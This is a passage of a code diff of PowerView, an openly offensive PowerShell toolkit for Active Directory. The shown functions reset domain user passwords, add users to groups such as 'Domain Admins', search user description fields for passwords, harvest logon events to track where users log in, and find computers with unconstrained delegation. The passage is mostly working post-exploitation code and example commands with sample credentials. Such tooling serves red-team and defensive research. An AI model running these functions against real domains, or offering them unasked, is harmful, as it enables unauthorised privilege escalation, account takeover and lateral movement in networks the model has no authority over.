Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain - Adds a user to a domain group or a local group on the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. +Specifies the domain to use to search for the user identity, defaults to the current domain. - .PARAMETER UserName +.PARAMETER Credential - The domain username to query for. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER GroupName +.EXAMPLE - Group to add the user to. +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword - .PARAMETER ComputerName +Resets the password for 'andy' to the password specified. - Hostname to add the user to, defaults to localhost. +.EXAMPLE - .PARAMETER Domain +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred - Domain to add the user to. +Resets the password for 'andy' usering the alternate credentials specified. - .EXAMPLE +.OUTPUTS - PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators - - Adds a localuser "john" to the local group "Administrators" +DirectoryServices.AccountManagement.UserPrincipal - .EXAMPLE +.LINK - PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local - - Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> - [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [ValidateNotNullOrEmpty()] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] [String] - $UserName, + $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] - [String] - $GroupName, + [Alias('Password')] + [Security.SecureString] + $AccountPassword, [ValidateNotNullOrEmpty()] - [Alias('HostName')] [String] - $ComputerName, + $Domain, - [String] - $Domain + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - # add the assembly if we need it - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments - # if we're adding to a remote host's local group, use the WinNT provider - if($ComputerName -and ($ComputerName -ne "localhost")) { - try { - Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" - ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") - "[*] User $UserName successfully added to group $GroupName on $ComputerName" - } - catch { - Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" - return - } - } + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) - # otherwise it's a local machine or domain add - else { - try { - if ($Domain) { - Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" - $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - return $Null - } - # get the full principal context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" } - else { - # otherwise, get the local machine context - Write-Verbose "Adding user $UserName to $GroupName on localhost" - $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" } - - # find the particular group - $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) - - # add the particular user to the group - $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) - - # commit the changes - $Group.Save() } - catch { - Write-Warning "Error adding $UserName to $GroupName : $_" + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" } } } -function Get-UserProperty { +function Get-DomainUserEvent { <# - .SYNOPSIS +.SYNOPSIS + +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - Returns a list of all user object properties. If a property - name is specified, it returns all [user:property] values. +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +.PARAMETER ComputerName - .PARAMETER Properties +Specifies the computer name to retrieve events from, default of localhost. - Property names to extract for users. +.PARAMETER StartTime - .PARAMETER Domain +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). - The domain to query for user properties, defaults to the current domain. +.PARAMETER EndTime - .PARAMETER DomainController +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. - Domain controller to reflect LDAP queries through. +.PARAMETER MaxEvents - .PARAMETER PageSize +The maximum number of events to retrieve. Default of 5000. - The PageSize to set for the LDAP searcher object. +.PARAMETER Credential - .PARAMETER Credential +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.EXAMPLE - .EXAMPLE +Get-DomainUserEvent - PS C:\> Get-UserProperty -Domain testing - - Returns all user properties for users in the 'testing' domain. +Return logon events on the local machine. - .EXAMPLE +.EXAMPLE - PS C:\> Get-UserProperty -Properties ssn,lastlogon,location - - Returns all an array of user/ssn/lastlogin/location combinations - for users in the current domain. +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) - .LINK +Return all logon events from the last 3 days from every domain controller in the current domain. - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogonEvent')] [CmdletBinding()] - param( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] [String[]] - $Properties, + $ComputerName = $Env:COMPUTERNAME, - [String] - $Domain, - - [String] - $DomainController, + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, - [ValidateRange(1,10000)] + [ValidateRange(1, 1000000)] [Int] - $PageSize = 200, + $MaxEvents = 5000, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties + BEGIN { + # the XML filter we're passing to Get-WinEvent + $XPathFilter = @" +<QueryList> + <Query Id="0" Path="Security"> + + <!-- Logon events --> + <Select Path="Security"> + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and (Level=4 or Level=0) and (EventID=4624) + and TimeCreated[ + @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' + ] + ] + ] + and + *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] + </Select> + + <!-- Logon with explicit credential events --> + <Select Path="Security"> + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and (Level=4 or Level=0) and (EventID=4648) + and TimeCreated[ + @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' + ] + ] + ] + </Select> + + <Suppress Path="Security"> + *[ + System[ + Provider[ + @Name='Microsoft-Windows-Security-Auditing' + ] + and + (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) + ] + ] + and + *[ + EventData[ + ( + (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') + or + Data[@Name='TargetUserName']='ANONYMOUS LOGON' + or + Data[@Name='TargetUserSID']='S-1-5-18' + ) + ] + ] + </Suppress> + </Query> +</QueryList> +"@ + $EventArguments = @{ + 'FilterXPath' = $XPathFilter + 'LogName' = 'Security' + 'MaxEvents' = $MaxEvents + } + if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } } - else { - # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + + PROCESS { + ForEach ($Computer in $ComputerName) { + + $EventArguments['ComputerName'] = $Computer + + Get-WinEvent @EventArguments| ForEach-Object { + $Event = $_ + $Properties = $Event.Properties + Switch ($Event.Id) { + # logon event + 4624 { + # skip computer logons, for now... + if(-not $Properties[5].Value.EndsWith('$')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + TargetUserSid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonId = $Properties[7].Value + LogonType = $Properties[8].Value + LogonProcessName = $Properties[9].Value + AuthenticationPackageName = $Properties[10].Value + WorkstationName = $Properties[11].Value + LogonGuid = $Properties[12].Value + TransmittedServices = $Properties[13].Value + LmPackageName = $Properties[14].Value + KeyLength = $Properties[15].Value + ProcessId = $Properties[16].Value + ProcessName = $Properties[17].Value + IpAddress = $Properties[18].Value + IpPort = $Properties[19].Value + ImpersonationLevel = $Properties[20].Value + RestrictedAdminMode = $Properties[21].Value + TargetOutboundUserName = $Properties[22].Value + TargetOutboundDomainName = $Properties[23].Value + VirtualAccount = $Properties[24].Value + TargetLinkedLogonId = $Properties[25].Value + ElevatedToken = $Properties[26].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') + $Output + } + } + + # logon with explicit credential + 4648 { + # skip computer logons, for now... + if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { + $Output = New-Object PSObject -Property @{ + ComputerName = $Computer + TimeCreated = $Event.TimeCreated + EventId = $Event.Id + SubjectUserSid = $Properties[0].Value.ToString() + SubjectUserName = $Properties[1].Value + SubjectDomainName = $Properties[2].Value + SubjectLogonId = $Properties[3].Value + LogonGuid = $Properties[4].Value.ToString() + TargetUserName = $Properties[5].Value + TargetDomainName = $Properties[6].Value + TargetLogonGuid = $Properties[7].Value + TargetServerName = $Properties[8].Value + TargetInfo = $Properties[9].Value + ProcessId = $Properties[10].Value + ProcessName = $Properties[11].Value + IpAddress = $Properties[12].Value + IpPort = $Properties[13].Value + } + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') + $Output + } + } + default { + Write-Warning "No handler exists for event ID: $($Event.Id)" + } + } + } + } } } -filter Find-UserField { +function Get-DomainGUIDMap { <# - .SYNOPSIS +.SYNOPSIS + +Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. - Searches user object fields for a given word (default *pass*). Default - field being searched is 'description'. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +.DESCRIPTION - .PARAMETER SearchTerm +Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for +all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. +Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) +for objects where objectClass=controlAccessRight, translating the GUIDs again. - Term to search for, default of "pass". +Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx - .PARAMETER SearchField +.PARAMETER Domain - User field to search, default of "description". +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER ADSpath +.PARAMETER Server - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Domain +.PARAMETER ResultPageSize - Domain to search computer fields for, defaults to the current domain. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER DomainController +.PARAMETER ServerTimeLimit - Domain controller to reflect LDAP queries through. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PageSize +.PARAMETER Credential - The PageSize to set for the LDAP searcher object. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER Credential +.OUTPUTS - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Hashtable - .EXAMPLE +Ouputs a hashtable containing a GUID -> Readable Name mapping. - PS C:\> Find-UserField -SearchField info -SearchTerm backup +.LINK - Find user accounts with "backup" in the "info" field. +http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [String] - $SearchTerm = 'pass', - - [String] - $SearchField = 'description', - - [String] - $ADSpath, - + Param ( + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $ForestArguments = @{} + if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + + try { + $SchemaPath = (Get-Forest @ForestArguments).schema.name + } + catch { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + if (-not $SchemaPath) { + throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + } + + $SearcherArguments = @{ + 'SearchBase' = $SchemaPath + 'LDAPFilter' = '(schemaIDGUID=*)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SchemaSearcher = Get-DomainSearcher @SearcherArguments + + if ($SchemaSearcher) { + try { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $SchemaSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') + $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' + $RightsSearcher = Get-DomainSearcher @SearcherArguments + + if ($RightsSearcher) { + try { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } + } + $RightsSearcher.dispose() + } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } + } + + $GUIDs } -filter Get-UserEvent { +function Get-DomainComputer { <# - .SYNOPSIS +.SYNOPSIS - Dump and parse security events relating to an account logon (ID 4624) - or a TGT request event (ID 4768). Intended to be used and tested on - Windows 2008 Domain Controllers. - Admin Reqd? YES +Return all computers or specific computer objects in AD. - Author: @sixdub +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - .PARAMETER ComputerName +.DESCRIPTION - The computer to get events from. Default: Localhost +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all computer objects for +the current domain are returned. - .PARAMETER EventType +.PARAMETER Identity - Either 'logon', 'tgt', or 'all'. Defaults: 'logon' +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. - .PARAMETER DateStart +.PARAMETER Unconstrained - Filter out all events before this date. Default: 5 days +Switch. Return computer objects that have unconstrained delegation. - .PARAMETER Credential +.PARAMETER TrustedToAuth - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Switch. Return computer objects that are trusted to authenticate for other principals. - .EXAMPLE +.PARAMETER Printers - PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local +Switch. Return only printers. - .LINK +.PARAMETER SPN - http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ -#> +Return computers with a specific service principal name, wildcards accepted. - Param( - [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName = $Env:ComputerName, +.PARAMETER OperatingSystem - [String] - [ValidateSet("logon","tgt","all")] - $EventType = "logon", +Return computers with a specific operating system, wildcards accepted. - [DateTime] - $DateStart = [DateTime]::Today.AddDays(-5), +.PARAMETER ServicePack - [Management.Automation.PSCredential] - $Credential - ) +Return computers with a specific service pack, wildcards accepted. - if($EventType.ToLower() -like "logon") { - [Int32[]]$ID = @(4624) - } - elseif($EventType.ToLower() -like "tgt") { - [Int32[]]$ID = @(4768) - } - else { - [Int32[]]$ID = @(4624, 4768) - } +.PARAMETER SiteName - if($Credential) { - Write-Verbose "Using alternative credentials" - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'Credential' = $Credential; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; - } - } - else { - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; - } - } +Return computers in the specific AD Site name, wildcards accepted. - # grab all events matching our filter for the specified host - Get-WinEvent @Arguments | ForEach-Object { +.PARAMETER Ping - if($ID -contains 4624) { - # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) - if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { - if($Matches) { - $LogonType = $Matches[0].trim() - $Matches = $Null - } - } - else { - $LogonType = "" - } +Switch. Ping each host to ensure it's up before enumerating. - # interactive logons or domain logons - if (($LogonType -eq 2) -or ($LogonType -eq 3)) { - try { - # parse and store the account used and the address they came from - if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { - if($Matches) { - $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() - $Matches = $Null - } - } - if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null - } - } +.PARAMETER Domain - # only add if there was account information not for a machine or anonymous logon - if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4624' - 'LogonType' = $LogonType - 'Time' = $_.TimeCreated - } - New-Object -TypeName PSObject -Property $LogonEventProperties - } - } - catch { - Write-Verbose "Error parsing event logs: $_" - } - } - } - if($ID -contains 4768) { - # the TGT event type - try { - if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { - if($Matches) { - $Username = $Matches[0].split("`n")[1].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null - } - } +Specifies the domain to use for the query, defaults to the current domain. - if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() - $Matches = $Null - } - } +.PARAMETER LDAPFilter - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4768' - 'LogonType' = '' - 'Time' = $_.TimeCreated - } +Specifies an LDAP query string that is used to filter Active Directory objects. - New-Object -TypeName PSObject -Property $LogonEventProperties - } - catch { - Write-Verbose "Error parsing event logs: $_" - } - } - } -} +.PARAMETER Properties +Specifies the properties of the output object to retrieve from the server. -function Get-ObjectAcl { -<# - .SYNOPSIS - Returns the ACLs associated with a specific active directory object. +.PARAMETER SearchBase - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER SamAccountName +.PARAMETER Server - Object name to filter for. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Name +.PARAMETER SearchScope - Object name to filter for. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER DistinguishedName +.PARAMETER ResultPageSize - Object distinguished name to filter for. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER ResolveGUIDs +.PARAMETER ServerTimeLimit - Switch. Resolve GUIDs to their display names. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER Filter +.PARAMETER SecurityMasks - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER ADSpath +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Tombstone - .PARAMETER ADSprefix +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +.PARAMETER FindOne - .PARAMETER RightsFilter +Only return one result object. - Only return results with the associated rights, "All", "ResetPassword","WriteMembers" +.PARAMETER Credential - .PARAMETER Domain +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - The domain to use for the query, defaults to the current domain. +.PARAMETER Raw - .PARAMETER DomainController +Switch. Return raw results instead of translating the fields into a custom PSObject. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER PageSize +Get-DomainComputer - The PageSize to set for the LDAP searcher object. +Returns the current computers in current domain. - .EXAMPLE +.EXAMPLE - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local - - Get the ACLs for the matt.admin user in the testlab.local domain +Get-DomainComputer -SPN mssql* -Domain testlab.local - .EXAMPLE +Returns all MS SQL servers in the testlab.local domain. - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs - - Get the ACLs for the matt.admin user in the testlab.local domain and - resolve relevant GUIDs to their display names. +.EXAMPLE - .EXAMPLE +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained - PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs +Search the specified OU for computeres that allow unconstrained delegation. - Enumerate the ACL permissions for all OUs in the domain. +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +.OUTPUTS + +PowerView.Computer + +Custom PSObject with translated computer property fields. + +PowerView.Computer.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> + [OutputType('PowerView.Computer')] + [OutputType('PowerView.Computer.Raw')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipelineByPropertyName=$True)] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [Switch] + $Unconstrained, + + [Switch] + $TrustedToAuth, + + [Switch] + $Printers, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePrincipalName')] [String] - $SamAccountName, + $SPN, - [Parameter(ValueFromPipelineByPropertyName=$True)] + [ValidateNotNullOrEmpty()] [String] - $Name = "*", + $OperatingSystem, - [Parameter(ValueFromPipelineByPropertyName=$True)] + [ValidateNotNullOrEmpty()] [String] - $DistinguishedName = "*", + $ServicePack, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, [Switch] - $ResolveGUIDs, + $Ping, + [ValidateNotNullOrEmpty()] [String] - $Filter, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $ADSpath, + $LDAPFilter, - [String] - $ADSprefix, + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - [ValidateSet("All","ResetPassword","WriteMembers")] - $RightsFilter, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, - # get a GUID -> name mapping - if($ResolveGUIDs) { - $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { 